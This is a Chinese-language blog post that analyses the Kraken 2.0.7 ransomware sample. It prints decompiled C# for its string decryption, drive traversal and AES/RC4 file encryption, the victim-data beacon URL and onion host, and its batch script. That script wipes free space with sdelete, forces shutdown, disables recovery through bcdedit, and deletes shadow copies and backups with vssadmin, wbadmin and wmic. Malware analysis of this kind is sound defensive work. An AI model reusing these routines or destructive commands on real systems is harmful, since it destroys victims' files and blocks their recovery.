写点什么

勒索病毒 Kraken2.0.7 分析

用户头像
Machine Gun
关注
发布于: 2021 年 05 月 19 日

病毒信息名称:Kraken_2.0.7.exe


病毒类型:勒索病毒


样本链接:https://app.any.run/tasks/32186bb2-60c2-4980-8bf8-4b2742697df4/#


样本 md5:bcd2a924ee16f3a2ed4b77d0c09fc3a0


初步分析根据 app.any.run 分析,该病毒会穷举进程列表并执行 bat,然后完全加密用户文件(无法通过磁盘回复软件恢复),最后删除自身。


勒索病毒 Kraken2.0.7 分析软件运行截图


在虚拟机中解压杀毒软件会报毒


勒索病毒 Kraken2.0.7 分析 virscan 扫描结果


静态分析 exeinfoPE 扫描结果如下:


勒索病毒 Kraken2.0.7 分析.net 程序,通过 babel 混淆


尝试使用 dnspy 分析,发现各种变量名都被混淆,所以先 de4dot 反混淆,再使用 dnspy


勒索病毒 Kraken2.0.7 分析经过分析,Class22.smethod_0 用于解密字符串,解密算法如下


public string method_0(string string_0, int int_0){int num = string_0.Length;char[] array = string_0.ToCharArray();while (--num >= 0){array[num] = (char)((int)array[num] ^ ((int)this.byte_0[int_0 & 15] | int_0));}return new string(array);}其中 byte_0 为从清单文件中 PRMJ 中读取的 16 个字节


使用 python 语言重写


def decrypt(s:str,num:int):index=[i^ord('d') for i in bytes('4\u0016\t.',encoding='utf-8')]print(bytes(index))key=open('PrmJ.bin','rb').read()res=""for i in range(len(s)):res+=chr(ord(s[i])^(key[num&15]|num))print(res)decrypt('',60185)主函数首先调用 Class7.smethod_8,Class7.smethod_29,开启了一个线程,运行 Class15.method_0,然后调用了 Class15.smethod_1 方法,最后调用了 Class7.smethod_8、Class7.smethod_18()


Class7.smethod8 通过 http 将受害者的 IP 位置信息等发送到https://2no.co/2SVJa5,第一次调用加了 Begin:,第二次调用加了 End:


Class7.smethod_29 下载 core/statistics/polipo 和 core/statistics/bundle 节点下指定的文件,此病毒中分别为 Tor 浏览器本身和代理


然后设置了 Tor 代理


将磁盘名称、类型、已用空间、可用空间发到 core/statistics/host 指定的链接,本例中http://kraken656kn6wyyx.onion/api/%1 (%1 替换成磁盘相关信息),如果失败,这个函数总共尝试了 3 次重试


Class15.smethod_0 根据配置文件,对于不同类型的磁盘选择加密或不加密。最后加密了不可见的网络文件。


以网络磁盘为例


string[] logicalDrives = Environment.GetLogicalDrives();for (int i = 0; i < logicalDrives.Length; i++){DriveInfo driveInfo = new DriveInfo(logicalDrives[i]);if (((driveInfo.IsReady && driveInfo.DriveType != DriveType.CDRom) || driveInfo.DriveType != DriveType.Unknown) && GClass2.GClass3.Boolean_10 && driveInfo.DriveType == DriveType.Network){GClass8.smethod_7(driveInfo.Name, byte_0, byte_1); // 如果是网络磁盘就加密}}合理猜测 GClass8.smethod_7 是加密函数


进入之后有两个本地函数,smethod_8 和 smethod_1


smethod_8 从这个驱动器根目录开始穷举,如果开启了 rapid mode,则对于穷举到的目录就立即加密,否则加入到一个列表中,待所有文件都穷举完毕了,再加密


GClass8.smethod_8(string_0);if (!GClass2.GClass3.Boolean_13){GClass8.smethod_1(byte_0, byte_1); // 非 rapid mode,对 list 调用 smethod_9 进行加密}


//...


// 如果采取了 rapid mod,根据文件大小进行细分


if (GClass8.smethod_5(text)){long num = GClass8.smethod_3(text) / 1048576L;if (GClass2.GClass3.Boolean_13){if (num < 10L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 1, 2);}else if (num < 20L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 3, 4);}else if (num < 30L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 5, 6);}else if (num < 40L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 7, 8);}else if (num < 50L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 9, 10);}else if (num < 60L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 11, 12);}else if (num < 70L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 13, 14);}else if (num < 80L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 15, 16);}else if (num < 90L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 17, 18);}else if (num < 100L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 19, 20);}else if (num < 1000L){GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 32, 64);}else{GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 64, 128);}// 如果没采用 rapid mode,则只会分三种清空,而且稍后加密 else if (num < 100L){GClass7.list_0.Add(text);}else if (num < 1000L){GClass7.list_1.Add(text);}else{GClass7.list_2.Add(text);}如果文件是个目录,则判断是否是影像系统运行的重要文件目录,如果不是就递归加密


if (directories != null){foreach (string string_ in directories){if (GClass8.smethod_6(string_)){GClass8.smethod_8(string_);}}}后面通过 Class7.smethod_16 在同一目录下记录相关加密信息。进入加密函数 smethod_9


首先判断文件是否存在,然后判断文件所在磁盘空间的可用空间(文件大小会随机增长),然后是文件名长度不超过 256,否则都会加密失败


if (!File.Exists(string_0)){result = false;}else{int num = 32;int num2 = 256;int maxValue = int_1 * 1048576;int num3 = new Random().Next(int_0, maxValue);if (new DriveInfo(string_0.Substring(0, 1) + Class22.smethod_0("", 62927)).AvailableFreeSpace <= (long)(num3 * 2)){result = false;}else if (Encoding.UTF8.GetBytes(new FileInfo(string_0).Name).Length > num2){result = false;}开始加密


生成强随机字符串 Class7.smethod_12rc4 byte0 加密 array array2 = Class4.smethod_1(array, byte_0)计算 array 的 sha256 使用 byte_1 做 IV,array 做 key,CBC 模式加密文件 Class4.smethod_0 负责加密,然后写回文件然后为 AES key 创建一个识别码 Class7.smethod_6 将生成的 key 信息附在文件末尾 byte[] array = Class7.smethod_12(32);byte[] array2 = Class4.smethod_1(array, byte_0);byte[] array3 = SHA256.Create().ComputeHash(array);byte[] array4 = new byte[num3];byte[] array5 = new byte[32];using (BinaryReader binaryReader = new BinaryReader(File.Open(string_0, FileMode.Open, FileAccess.Read, FileShare.None))){array4 = binaryReader.ReadBytes(array4.Length);// 前 16 个字节和后 16 个字节作为文件识别码 Buffer.BlockCopy(array4, 0, array5, 0, array5.Length - 16);Buffer.BlockCopy(array4, array4.Length - 16, array5, 16, array5.Length - 16);// AES 算法加密 array4 = Class4.smethod_0(array4, array, byte_1);if (array4 == null){return false;}binaryReader.Close();}using (BinaryWriter binaryWriter = new BinaryWriter(File.Open(string_0, FileMode.Open, FileAccess.Write, FileShare.None))){binaryWriter.Write(array4, 0, array4.Length);binaryWriter.Close();}


  byte[] array6 = new byte[num];  byte[] bytes = Encoding.UTF8.GetBytes(array4.Length.ToString());  Buffer.BlockCopy(bytes, 0, array6, 0, bytes.Length);  byte[] array7 = Class7.smethod_12(32);  byte[] byte_2 = Class7.smethod_6(byte_0, byte_1, 1000, 8);  byte[] array8 = SHA256.Create().ComputeHash(array7);  byte[] array9 = Class4.smethod_1(array7, byte_0);  // 加密秘钥  array6 = Class4.smethod_3(array6, array7, byte_2);  array4 = null;  byte[] array10 = new byte[num2];  // 加密文件名  byte[] bytes2 = Encoding.UTF8.GetBytes(new FileInfo(string_0).Name);  Buffer.BlockCopy(bytes2, 0, array10, 0, bytes2.Length);  byte[] array11 = Class7.smethod_12(32);  byte[] byte_3 = Class7.smethod_6(byte_0, byte_1, 1000, 8);  byte[] array12 = SHA256.Create().ComputeHash(array11);  byte[] array13 = Class4.smethod_1(array11, byte_0);  array10 = Class4.smethod_3(array10, array11, byte_3);  byte[] buffer = new byte[array5.Length + array2.Length + array3.Length + num + array9.Length + array8.Length + num2 + array13.Length + array12.Length];  // 加密信息附在文件末尾  buffer = Class7.smethod_7(new byte[][]  {   array5,   array2,   array3,   array6,   array9,   array8,   array10,   array13,   array12  });  using (BinaryWriter binaryWriter2 = new BinaryWriter(File.Open(string_0, FileMode.Append, FileAccess.Write, FileShare.None)))  {   binaryWriter2.Write(buffer);  }  // 替换原文件  string arg = Class7.smethod_11(16, true);  string text = string.Format(Class22.smethod_0("", 57833), new FileInfo(string_0).DirectoryName, arg, Class2.Class3.String_1);  int num4 = 0;  do  {   if (!File.Exists(text))   {    File.Move(string_0, text);   }   if (num4 > 3)   {    goto IL_33C;   }   num4++;  }
复制代码


Class15.smethod_1 首先解密了一些字符串,是版本之类的信息


string text = "";text += Class22.smethod_0("", 62260);text += Class22.smethod_0("", 59942);text += Class22.smethod_0("", 63282);text += GClass2.GClass3.String_1;text += Class22.smethod_0("", 61408);text += Environment.NewLine;text += Environment.NewLine;然后获取了语言信息,计算语言识别码


string a;if (Class2.Class3.String_6 == Class22.smethod_0("", 61908)){a = installedUICulture.TwoLetterISOLanguageName.ToLower();}else if (installedUICulture.TwoLetterISOLanguageName.ToUpper() == Class2.Class3.String_6.ToUpper()){a = installedUICulture.TwoLetterISOLanguageName.ToLower();}else{a = installedUICulture.TwoLetterISOLanguageName.ToLower();}uint num = Class21.smethod_0(a);语言识别码计算方式


uint num;if (string_0 != null){num = 2166136261U;for (int i = 0; i < string_0.Length; i++){num = ((uint)string_0[i] ^ num) * 16777619U;}}return num;然后根据不同的语言,text 后面附上不同的字符串。这些字符串读取自配置文件中的 core/wallpaper/language/语言代码节点下的字符串,是 base64 串,根据节点推测存储了壁纸


然后读取一个 color,用 text 和 color 制作一个图片(Class7.Class10.smethod_2),再根据 Class7.Class11.smethod_0 中对于注册表的操作,这里设置了壁纸


text = Regex.Replace(text, Class22.smethod_0("", 63156), text2);text = Regex.Replace(text, Class22.smethod_0("", 59617), GClass2.GClass3.String_14.Replace(Class22.smethod_0("", 63156), Class2.Class3.String_1));Color color_ = ColorTranslator.FromHtml(GClass2.GClass3.GClass5.String_0);Image image_ = Class7.Class10.smethod_2(text, color_, GClass2.GClass3.GClass5.Int32_0);if (GClass2.GClass3.GClass5.Boolean_0) // core/wallpaper/change 节点{Class7.Class11.smethod_0(image_, Class7.Class11.Enum1.const_2);}然后在系统盘所在文件夹创建\ProgramData 目录,下载https://download.sysinternals.com/files/SDelete.zip,写入 ProgramData\Microsoft.zip,然后对下载的文件进行了校验并解压。


string text3 = string.Format(Class22.smethod_0("", 60299), Environment.SystemDirectory.Substring(0, 1));if (!Directory.Exists(text3)){Directory.CreateDirectory(text3);}byte[] array;using (WebClient webClient = new WebClient()){array = webClient.DownloadData(Class22.smethod_0("", 61986));if (array == null){return;}}string path = Path.Combine(text3, Class22.smethod_0("", 62087));File.WriteAllBytes(path, array);Class16 @class = new Class16(path);@class.method_0(text3);@class.Dispose();File.Delete(path);判断操作系统版本,删除另一个版本的 sdelete


之后就开始创建批处理文件,提取出如下


:: [Version {0}]


REM [Echo OFF]@echo off


REM [Microsoft Sysinternals Eula Accepted]REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f


REM [Wipe Drives Free Space]即接受软件相关条款,让软件运行时不再弹出条款提示框。


继续添加脚本内容


: 如果是系统盘执行这条命令 cmd.exe /c {0}sdelete.exe -c -z {1}:{2}: 如果不是系统盘则会执行下面的命令 cmd.exe /c {0}sdelete.exe -z {1}:{2}查看相关文档,这两条命令都用于清空磁盘剩余空间


又添加了一些脚本,解密


REM [Start SYSTEM Shutdown Timer]shutdown /S /F /T {0} /C "{1}"Unexpected shutdown due to maintenance break.


REM [Disable Safe Boot]bcdedit /set {default} recoveryenabled Nobcdedit /set {default} bootstatuspolicy ignoreallfailures


REM [Delete Backups]wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0wmic SHADOWCOPY DELETEvssadmin delete shadows /All


REM [Delete Temp Files]del sdelete.exedel {0}定时关机、关闭安全启动、删除备份,删除卷影拷贝。可以看到该批处理文件是删除文件后的辅助步骤。


将脚本写入 release.bat,创建进程执行。


Class7.smethod_18 删除自身


try{string arg = string.Concat(new string[]{Class22.smethod_0("", 59126) + string.Format(Class22.smethod_0("", 62226), Application.ExecutablePath)});new Process{StartInfo ={FileName = Class22.smethod_0("", 63259),Arguments = string.Format(Class22.smethod_0("", 57658), arg),WindowStyle = ProcessWindowStyle.Hidden}}.Start();Environment.Exit(int_0);}catch (Exception){}防御方法安装反病毒软件,在线查杀 18 款引擎报毒,虚拟机中解压后安全软件也会报毒经过搜索发现市面上已经有解密软件,原因是秘钥信息似乎都存储在文件中了= =总结由于使用.net 语言编写,所以即使经过了混淆,但是没有混淆程序控制流,使用 dnspy 配合 de4dot 依然可以解密,程序依然可读,所以逆向过程整体来讲比较顺利

用户头像

Machine Gun

关注

还未添加个人签名 2021.03.28 加入

需要获取网络安全/渗透测试学习资料工具的朋友可联系V:machinegunjoe666 免费索取

评论

发布
暂无评论
勒索病毒Kraken2.0.7分析